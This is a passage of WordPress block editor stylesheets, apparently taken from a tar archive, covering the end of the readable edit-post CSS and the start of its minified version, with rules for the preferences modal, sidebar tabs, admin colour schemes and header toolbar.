60px - 60px); } } .edit-post-preferences-modal .components-navigation { background-color: #fff; margin: -8px; padding: 8px; } .edit-post-preferences-modal .components-navigation .components-navigation__menu { margin: 0; color: #1e1e1e; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item { color: #1e1e1e; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item > button { color: inherit; padding: 3px 16px; height: 48px; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item > button:focus { background: #f0f0f0; font-weight: 500; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item > button:hover { color: #007cba; color: var(--wp-admin-theme-color); } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__item .components-toggle-control__label { color: inherit; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__menu-title-heading { color: inherit; border-bottom: 1px solid #ddd; padding-left: 0; padding-right: 0; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__back-button { color: inherit; padding-left: 0; } .edit-post-preferences-modal .components-navigation .components-navigation__menu .components-navigation__back-button:hover { color: #007cba; color: var(--wp-admin-theme-color); } .edit-post-preferences-modal .components-navigation .components-navigation__menu .edit-post-preferences-modal__custom-fields-confirmation-button { width: auto; } .edit-post-preferences-modal .edit-post-preferences__tabs { display: flex; flex-direction: row; } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs { width: 160px; } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item { border-radius: 2px; font-weight: 400; } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active { background: #f0f0f0; box-shadow: none; font-weight: 500; } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled) { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-post-preferences-modal .edit-post-preferences__tabs .components-tab-panel__tab-content { width: 500px; padding-left: 24px; } .edit-post-preferences-modal__section { margin: 0 0 2.5rem 0; } .edit-post-preferences-modal__section-title { font-size: 0.9rem; font-weight: 600; } .edit-post-preferences-modal__option .components-base-control .components-base-control__field { align-items: center; display: flex; margin-bottom: 0; } .edit-post-preferences-modal__option .components-base-control .components-base-control__field > label { flex-grow: 1; padding: 0.6rem 0 0.6rem 10px; } .edit-post-preferences-modal__custom-fields-confirmation-message, .edit-post-preferences-modal__custom-fields-confirmation-button { margin: 0 0 0.6rem 48px; } @media (min-width: 782px) { .edit-post-preferences-modal__custom-fields-confirmation-message, .edit-post-preferences-modal__custom-fields-confirmation-button { margin-left: 38px; } } @media (min-width: 600px) { .edit-post-preferences-modal__custom-fields-confirmation-message, .edit-post-preferences-modal__custom-fields-confirmation-button { max-width: 300px; } } .edit-post-preferences-modal .components-base-control__help { margin: -8px 0 8px 58px; font-size: 12px; font-style: normal; color: #757575; } .edit-post-preferences-modal .edit-post-preferences-modal__section-description { margin: -8px 0 8px 0; font-size: 12px; font-style: normal; color: #757575; } .components-panel__header.edit-post-sidebar__panel-tabs { justify-content: flex-start; padding-left: 0; padding-right: 16px; border-top: 0; margin-top: 0; } .components-panel__header.edit-post-sidebar__panel-tabs ul { display: flex; } .components-panel__header.edit-post-sidebar__panel-tabs li { margin: 0; } .components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon { display: none; margin: 0 0 0 auto; padding: 0; min-width: 24px; height: 24px; } @media (min-width: 782px) { .components-panel__header.edit-post-sidebar__panel-tabs .components-button.has-icon { display: flex; } } .components-panel__body.is-opened.edit-post-last-revision__panel { padding: 0; height: 48px; } .editor-post-last-revision__title.components-button { padding: 16px; } .editor-post-author__select { margin: -5px 0; width: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .editor-post-author__select { width: auto; } } .edit-post-post-link__link-post-name { font-weight: 600; } .edit-post-post-link__preview-label { font-weight: 400; margin: 0; } .edit-post-post-link__link { text-align: left; word-wrap: break-word; display: block; } /* rtl:begin:ignore */ .edit-post-post-link__preview-link-container { direction: ltr; } /* rtl:end:ignore */ .edit-post-post-schedule { width: 100%; position: relative; justify-content: left; } .edit-post-post-schedule span { display: block; width: 45%; } .components-button.edit-post-post-schedule__toggle { text-align: right; } .editor-post-slug__input { margin: -5px 0; padding: 2px; } .edit-post-post-status .edit-post-post-publish-dropdown__switch-to-draft { margin-top: 15px; width: 100%; text-align: center; } .edit-post-post-template { width: 100%; justify-content: left; } .edit-post-post-template span { display: block; width: 45%; } .edit-post-post-template__value { padding-left: 6px; } .edit-post-post-visibility { width: 100%; justify-content: left; } .edit-post-post-visibility span { display: block; width: 45%; } @media (min-width: 782px) { .edit-post-post-visibility__dialog .components-popover__content { width: 257px; } } .edit-post-post-visibility__dialog-legend { font-weight: 600; } .edit-post-post-visibility__choice { margin: 10px 0; } .edit-post-post-visibility__dialog-radio, .edit-post-post-visibility__dialog-label { vertical-align: top; } .edit-post-post-visibility__dialog-password-input { width: calc(100% - 20px); margin-left: 20px; } .edit-post-post-visibility__dialog-info { color: #757575; padding-left: 20px; font-style: italic; margin: 4px 0 0; line-height: 1.4; } .components-button.edit-post-sidebar__panel-tab { border-radius: 0; height: 48px; background: transparent; border: none; box-shadow: none; cursor: pointer; display: inline-block; padding: 3px 15px; margin-left: 0; font-weight: 500; } .components-button.edit-post-sidebar__panel-tab::after { content: attr(data-label); display: block; font-weight: 600; height: 0; overflow: hidden; speak: none; visibility: hidden; } .components-button.edit-post-sidebar__panel-tab.is-active { box-shadow: inset 0 0 0 2px transparent, inset 0 -4px 0 0 #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) transparent, inset 0 -4px 0 0 var(--wp-admin-theme-color); position: relative; z-index: 1; } .components-button.edit-post-sidebar__panel-tab.is-active::before { content: ""; position: absolute; top: 0; bottom: 1px; right: 0; left: 0; border-bottom: 4px solid transparent; } .components-button.edit-post-sidebar__panel-tab:focus { box-shadow: inset 0 0 0 2px #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); position: relative; z-index: 1; } .components-button.edit-post-sidebar__panel-tab.is-active:focus { box-shadow: inset 0 0 0 2px #007cba, inset 0 -4px 0 0 #007cba; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 -4px 0 0 var(--wp-admin-theme-color); } .edit-post-text-editor { position: relative; width: 100%; background-color: #fff; flex-grow: 1; } .edit-post-text-editor .wp-block.editor-post-title { max-width: none; line-height: 1.4; } .edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input.editor-post-title__input.editor-post-title__input { font-family: Menlo, Consolas, monaco, monospace; font-size: 2.5em; font-weight: normal; } .edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input { border: 1px solid #949494; margin-bottom: -1px; padding: 16px; } @media (min-width: 600px) { .edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input { padding: 24px; } } .edit-post-text-editor .wp-block.editor-post-title .editor-post-title__input:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } @media (min-width: 600px) { .edit-post-text-editor .wp-block.editor-post-title { padding: 0; } } .edit-post-text-editor__body { width: 100%; padding: 0 12px 12px 12px; max-width: 1080px; margin-left: auto; margin-right: auto; } @media (min-width: 960px) { .edit-post-text-editor__body { padding: 16px 24px 96px 24px; padding: 0 24px 24px 24px; } } .edit-post-text-editor__toolbar { position: -webkit-sticky; position: sticky; z-index: 1; top: 0; left: 0; right: 0; display: flex; background: rgba(255, 255, 255, 0.8); padding: 4px 12px; } @media (min-width: 600px) { .edit-post-text-editor__toolbar { padding: 12px; } } @media (min-width: 960px) { .edit-post-text-editor__toolbar { padding: 12px 24px; } } .edit-post-text-editor__toolbar h2 { line-height: 36px; margin: 0 auto 0 0; font-size: 13px; color: #1e1e1e; } .edit-post-text-editor__toolbar .components-button svg { order: 1; } .edit-post-visual-editor { position: relative; flex: 1 1 auto; } .edit-post-visual-editor .components-button { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; padding: 6px 12px; } .edit-post-visual-editor .components-button.is-tertiary, .edit-post-visual-editor .components-button.has-icon { padding: 6px; } @supports ((position: -webkit-sticky) or (position: sticky)) { .edit-post-visual-editor { flex-basis: 100%; } } .editor-styles-wrapper { background-color: #fff; cursor: text; } .editor-styles-wrapper > * { cursor: auto; } .edit-post-visual-editor__post-title-wrapper .editor-post-title { margin-top: 2em; margin-left: auto; margin-right: auto; margin-bottom: 28px; } .edit-post-welcome-guide { width: 312px; } .edit-post-welcome-guide__image { background: #00a0d2; height: 240px; } .edit-post-welcome-guide__image__prm-r { display: none; } @media (prefers-reduced-motion: reduce) { .edit-post-welcome-guide__image__prm-r { display: block; } .edit-post-welcome-guide__image__prm-np { display: none; } } .edit-post-welcome-guide__heading { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 24px; line-height: 1.4; margin: 0 0 16px 0; padding: 0 32px; } .edit-post-welcome-guide__text { font-size: 13px; line-height: 1.4; margin: 0 0 24px 0; padding: 0 32px; } .edit-post-welcome-guide__inserter-icon { margin: 0 4px; vertical-align: text-top; } /** * Animations */ @keyframes edit-post__fade-in-animation { from { opacity: 0; } to { opacity: 1; } } html.wp-toolbar { background: #fff; } body.block-editor-page { background: #fff; /* We hide legacy notices in Gutenberg Based Pages, because they were not designed in a way that scaled well. Plugins can use Gutenberg notices if they need to pass on information to the user when they are editing. */ } body.block-editor-page #wpcontent { padding-left: 0; } body.block-editor-page #wpbody-content { padding-bottom: 0; } body.block-editor-page #wpbody-content > div:not(.block-editor):not(#screen-meta) { display: none; } body.block-editor-page #wpfooter { display: none; } body.block-editor-page .a11y-speak-region { left: -1px; top: -1px; } body.block-editor-page ul#adminmenu a.wp-has-current-submenu::after, body.block-editor-page ul#adminmenu > li.current > a.current::after { border-right-color: #fff; } body.block-editor-page .media-frame select.attachment-filters:last-of-type { width: auto; max-width: 100%; } .edit-post-header, .edit-post-visual-editor, .edit-post-text-editor, .edit-post-sidebar, .editor-post-publish-panel, .components-popover, .components-modal__frame, .edit-post-layout__inserter-panel { box-sizing: border-box; } .edit-post-header *, .edit-post-header *::before, .edit-post-header *::after, .edit-post-visual-editor *, .edit-post-visual-editor *::before, .edit-post-visual-editor *::after, .edit-post-text-editor *, .edit-post-text-editor *::before, .edit-post-text-editor *::after, .edit-post-sidebar *, .edit-post-sidebar *::before, .edit-post-sidebar *::after, .editor-post-publish-panel *, .editor-post-publish-panel *::before, .editor-post-publish-panel *::after, .components-popover *, .components-popover *::before, .components-popover *::after, .components-modal__frame *, .components-modal__frame *::before, .components-modal__frame *::after, .edit-post-layout__inserter-panel *, .edit-post-layout__inserter-panel *::before, .edit-post-layout__inserter-panel *::after { box-sizing: inherit; } @media (min-width: 600px) { .block-editor__container { position: absolute; top: 0; right: 0; bottom: 0; left: 0; min-height: calc(100vh - 46px); } } @media (min-width: 782px) { .block-editor__container { min-height: calc(100vh - 32px); } body.is-fullscreen-mode .block-editor__container { min-height: 100vh; } } .block-editor__container img { max-width: 100%; height: auto; } .block-editor__container iframe { width: 100%; } .wp-block { max-width: 840px; } .wp-block[data-align=wide] { max-width: 1100px; } .wp-block[data-align=full] { max-width: none; } body.admin-color-light { --wp-admin-theme-color: #0085ba; --wp-admin-theme-color-darker-10: #0073a1; --wp-admin-theme-color-darker-20: #006187; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-light { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-modern { --wp-admin-theme-color: #3858e9; --wp-admin-theme-color-darker-10: #2145e6; --wp-admin-theme-color-darker-20: #183ad6; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-modern { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-blue { --wp-admin-theme-color: #096484; --wp-admin-theme-color-darker-10: #07526c; --wp-admin-theme-color-darker-20: #064054; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-blue { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-coffee { --wp-admin-theme-color: #46403c; --wp-admin-theme-color-darker-10: #383330; --wp-admin-theme-color-darker-20: #2b2724; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-coffee { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ectoplasm { --wp-admin-theme-color: #523f6d; --wp-admin-theme-color-darker-10: #46365d; --wp-admin-theme-color-darker-20: #3a2c4d; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ectoplasm { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-midnight { --wp-admin-theme-color: #e14d43; --wp-admin-theme-color-darker-10: #dd382d; --wp-admin-theme-color-darker-20: #d02c21; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-midnight { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-ocean { --wp-admin-theme-color: #627c83; --wp-admin-theme-color-darker-10: #576e74; --wp-admin-theme-color-darker-20: #4c6066; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-ocean { --wp-admin-border-width-focus: 1.5px; } } body.admin-color-sunrise { --wp-admin-theme-color: #dd823b; --wp-admin-theme-color-darker-10: #d97426; --wp-admin-theme-color-darker-20: #c36922; --wp-admin-border-width-focus: 2px; } @media (-webkit-min-device-pixel-ratio: 2), (min-resolution: 192dpi) { body.admin-color-sunrise { --wp-admin-border-width-focus: 1.5px; } }css/dist/edit-post/style.min.css000064400000126146151202620300012644 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-border-width-focus:2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-right:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-right:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-left:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-left:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none}.interface-complementary-area .components-panel__header{position:-webkit-sticky;position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p{margin-top:0}.interface-complementary-area h2,.interface-complementary-area h3{font-size:13px;color:#1e1e1e;margin-bottom:1.5em}.interface-complementary-area hr{border-top:none;border-bottom:1px solid #f0f0f0;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{top:auto;right:10px;bottom:10px;left:auto}@media (min-width:782px){body.js.is-fullscreen-mode{margin-top:-32px;height:calc(100% + 32px)}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-left:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{display:flex;flex-direction:row;height:auto;max-height:100%;position:fixed;top:46px;right:0;bottom:0}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex-direction:column;flex:0 1 100%;overflow:hidden}.interface-interface-skeleton{left:0}@media (min-width:783px){.interface-interface-skeleton{left:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{left:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{left:160px}}.folded .interface-interface-skeleton{left:0}@media (min-width:783px){.folded .interface-interface-skeleton{left:36px}}@media (max-width:783px){.auto-fold .wp-responsive-open .interface-interface-skeleton{left:190px}}@media (max-width:600px){.auto-fold .wp-responsive-open .interface-interface-skeleton{margin-left:-18px}}body.is-fullscreen-mode .interface-interface-skeleton{left:0!important}.interface-interface-skeleton__body{flex-grow:1;display:flex;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{flex-grow:1;display:flex;flex-direction:column;overflow:auto}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{display:block;flex-shrink:0;position:absolute;z-index:100000;top:0;right:0;bottom:0;left:0;background:#fff;color:#1e1e1e}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;z-index:90;width:auto}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-left:1px solid #e0e0e0}}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar{border-right:1px solid #e0e0e0}}.interface-interface-skeleton__header{flex-shrink:0;height:auto;border-bottom:1px solid #e0e0e0;z-index:30;color:#1e1e1e;position:-webkit-sticky;position:sticky;top:0}@media (min-width:600px){.interface-interface-skeleton__header{position:static;top:0}}.interface-interface-skeleton__footer{height:auto;flex-shrink:0;border-top:1px solid #e0e0e0;color:#1e1e1e;position:absolute;bottom:0;left:0;width:100%;background-color:#fff;z-index:90;display:none}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{z-index:30;display:flex;background:#fff;height:24px;align-items:center;font-size:13px;padding:0 18px}.interface-interface-skeleton__actions{z-index:100000;position:fixed!important;top:-9999em;bottom:auto;left:auto;right:0;width:280px;color:#1e1e1e}.interface-interface-skeleton__actions:focus{top:auto;bottom:0}.interface-pinned-items{display:flex}.interface-pinned-items .components-button:not(:first-child){display:none}@media (min-width:600px){.interface-pinned-items .components-button:not(:first-child){display:flex}}.interface-pinned-items .components-button{margin-left:4px}.interface-pinned-items .components-button svg{max-width:24px;max-height:24px}.edit-post-header{height:60px;background:#fff;display:flex;flex-wrap:wrap;align-items:center;max-width:100vw}@media (min-width:280px){.edit-post-header{flex-wrap:nowrap}}.edit-post-header>.edit-post-header__settings{order:1}@supports ((position:-webkit-sticky) or (position:sticky)){.edit-post-header>.edit-post-header__settings{order:0}}.edit-post-header__toolbar{display:flex;flex-grow:1}.edit-post-header__toolbar .table-of-contents{display:none}@media (min-width:600px){.edit-post-header__toolbar .table-of-contents{display:block}}.edit-post-header__settings{display:inline-flex;align-items:center;flex-wrap:wrap;padding-right:4px}@media (min-width:600px){.edit-post-header__settings{padding-right:16px}}.edit-post-header__settings .components-button.components-button,.edit-post-header__settings .editor-post-saved-state{margin-right:4px}@media (min-width:600px){.edit-post-header__settings .components-button.components-button,.edit-post-header__settings .editor-post-saved-state{margin-right:12px}}.edit-post-header__settings .components-button.is-tertiary,.edit-post-header__settings .editor-post-saved-state{padding:0 6px}.edit-post-header__settings .edit-post-more-menu .components-button,.edit-post-header__settings .interface-pinned-items .components-button{margin-right:0}.edit-post-header-preview__grouping-external{display:flex;position:relative;padding-bottom:0}.edit-post-header-preview__button-external{padding-left:8px;margin-right:auto;width:100%;display:flex;justify-content:flex-start}.edit-post-header-preview__button-external svg{margin-left:auto}.edit-post-post-preview-dropdown .components-popover__content>div{padding-bottom:0}.edit-post-header__dropdown .components-button.has-icon,.show-icon-labels .edit-post-header .components-button.has-icon,.show-icon-labels.interface-pinned-items .components-button.has-icon{width:auto}.edit-post-header__dropdown .components-button.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon svg{display:none}.edit-post-header__dropdown .components-button.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon:after{content:attr(aria-label)}.edit-post-header__dropdown .components-button.has-icon[aria-disabled=true],.show-icon-labels .edit-post-header .components-button.has-icon[aria-disabled=true],.show-icon-labels.interface-pinned-items .components-button.has-icon[aria-disabled=true]{background-color:transparent}.edit-post-header__dropdown .is-tertiary:active,.show-icon-labels .edit-post-header .is-tertiary:active,.show-icon-labels.interface-pinned-items .is-tertiary:active{box-shadow:0 0 0 1.5px #007cba;box-shadow:0 0 0 1.5px var(--wp-admin-theme-color);background-color:transparent}.edit-post-header__dropdown .components-button.has-icon.button-toggle svg,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle svg,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon svg,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle svg,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon svg{display:block}.edit-post-header__dropdown .components-button.has-icon.button-toggle:after,.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels .edit-post-header .components-button.has-icon.button-toggle:after,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon:after,.show-icon-labels.interface-pinned-items .components-button.has-icon.button-toggle:after,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon:after{content:none}.edit-post-header__dropdown .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels .edit-post-header .edit-post-fullscreen-mode-close.has-icon,.show-icon-labels.interface-pinned-items .edit-post-fullscreen-mode-close.has-icon{width:60px}.edit-post-header__dropdown .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels .edit-post-header .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon,.show-icon-labels.interface-pinned-items .components-menu-items-choice .components-menu-items__item-icon.components-menu-items__item-icon{display:block}.edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.edit-post-header__dropdown .interface-pinned-items .components-button,.show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.show-icon-labels .edit-post-header .interface-pinned-items .components-button,.show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle,.show-icon-labels.interface-pinned-items .interface-pinned-items .components-button{padding-left:12px;padding-right:12px}}.edit-post-header__dropdown .components-dropdown-menu__toggle,.show-icon-labels .edit-post-header .components-dropdown-menu__toggle,.show-icon-labels.interface-pinned-items .components-dropdown-menu__toggle{margin-left:8px;padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-post-header__dropdown .components-dropdown-menu__toggle,.show-icon-labels .edit-post-header .components-dropdown-menu__toggle,.show-icon-labels.interface-pinned-items .components-dropdown-menu__toggle{margin-left:12px;padding-left:12px;padding-right:12px}}.edit-post-header__dropdown .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle:after,.edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .edit-post-header .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle:after,.show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .edit-post-header-toolbar__inserter-toggle.edit-post-header-toolbar__inserter-toggle:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after{content:none}@media (min-width:600px){.edit-post-header__dropdown .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels .edit-post-header .editor-post-save-draft.editor-post-save-draft:after,.show-icon-labels.interface-pinned-items .editor-post-save-draft.editor-post-save-draft:after{content:attr(aria-label)}}.edit-post-header__dropdown .components-button.block-editor-block-navigation,.edit-post-header__dropdown .components-button.editor-history__redo,.edit-post-header__dropdown .components-button.editor-history__undo,.edit-post-header__dropdown .components-menu-item__button.components-menu-item__button,.edit-post-header__dropdown .table-of-contents .components-button{margin:0;padding:6px 6px 6px 40px;width:14.625rem;text-align:left;justify-content:flex-start}.show-icon-labels.interface-pinned-items{padding:6px 12px 12px;margin:0 -12px;border-bottom:1px solid #ccc;display:block}.show-icon-labels.interface-pinned-items>.components-button.has-icon{margin:0;padding:6px 6px 6px 8px;width:14.625rem;justify-content:flex-start}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=true] svg{display:block;max-width:24px}.show-icon-labels.interface-pinned-items>.components-button.has-icon[aria-expanded=false]{padding-left:40px}.show-icon-labels.interface-pinned-items>.components-button.has-icon svg{margin-right:8px}.edit-post-fullscreen-mode-close.has-icon{display:none}@media (min-width:782px){.edit-post-fullscreen-mode-close.has-icon{display:flex;align-items:center;-ms-grid-row-align:stretch;align-self:stretch;border:none;background:#23282e;color:#fff;border-radius:0;height:60px;width:60px}.edit-post-fullscreen-mode-close.has-icon:hover{background:#32373d}.edit-post-fullscreen-mode-close.has-icon:active{color:#fff}.edit-post-fullscreen-mode-close.has-icon:focus{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 3px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 3px #fff}}.edit-post-fullscreen-mode-close_site-icon{width:36px}.edit-post-header-toolbar{display:inline-flex;flex-grow:1;align-items:center;border:none}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button{display:none}@media (min-width:600px){.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button{display:inline-flex}}.edit-post-header-toolbar .edit-post-header-toolbar__left>.edit-post-header-toolbar__inserter-toggle{display:inline-flex}.edit-post-header-toolbar .block-editor-block-navigation{display:none}@media (min-width:600px){.edit-post-header-toolbar .block-editor-block-navigation{display:flex}}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button.has-icon,.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-dropdown>.components-button.has-icon{height:36px;min-width:36px;padding:6px}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button.has-icon.is-pressed,.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-dropdown>.components-button.has-icon.is-pressed{background:#1e1e1e}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button.has-icon:focus:not(:disabled),.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-dropdown>.components-button.has-icon:focus:not(:disabled){box-shadow:0 0 0 2px #007cba,inset 0 0 0 1px #fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-button.has-icon:before,.edit-post-header-toolbar .edit-post-header-toolbar__left>.components-dropdown>.components-button.has-icon:before{display:none}@media (min-width:600px){.edit-post-header.has-reduced-ui .edit-post-header-toolbar__left>*+.components-button,.edit-post-header.has-reduced-ui .edit-post-header-toolbar__left>*+.components-dropdown>[aria-expanded=false]{transition:opacity .1s linear}}@media (min-width:600px) and (prefers-reduced-motion:reduce){.edit-post-header.has-reduced-ui .edit-post-header-toolbar__left>*+.components-button,.edit-post-header.has-reduced-ui .edit-post-header-toolbar__left>*+.components-dropdown>[aria-expanded=false]{transition-duration:0s}}@media (min-width:600px){.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header-toolbar__left>*+.components-button,.edit-post-header.has-reduced-ui:not(:hover) .edit-post-header-toolbar__left>*+.components-dropdown>[aria-expanded=false]{opacity:0}}.edit-post-header-toolbar__left{display:inline-flex;align-items:center;padding-left:8px}@media (min-width:600px){.edit-post-header-toolbar__left{padding-left:24px}}@media (min-width:1280px){.edit-post-header-toolbar__left{padding-right:8px}}.edit-post-header-toolbar__block-toolbar{position:absolute;top:61px;left:0;right:0;background:#fff;border-bottom:1px solid #ddd}.edit-post-header-toolbar__block-toolbar:empty{display:none}.edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar .components-toolbar,.edit-post-header-toolbar__block-toolbar .block-editor-block-toolbar 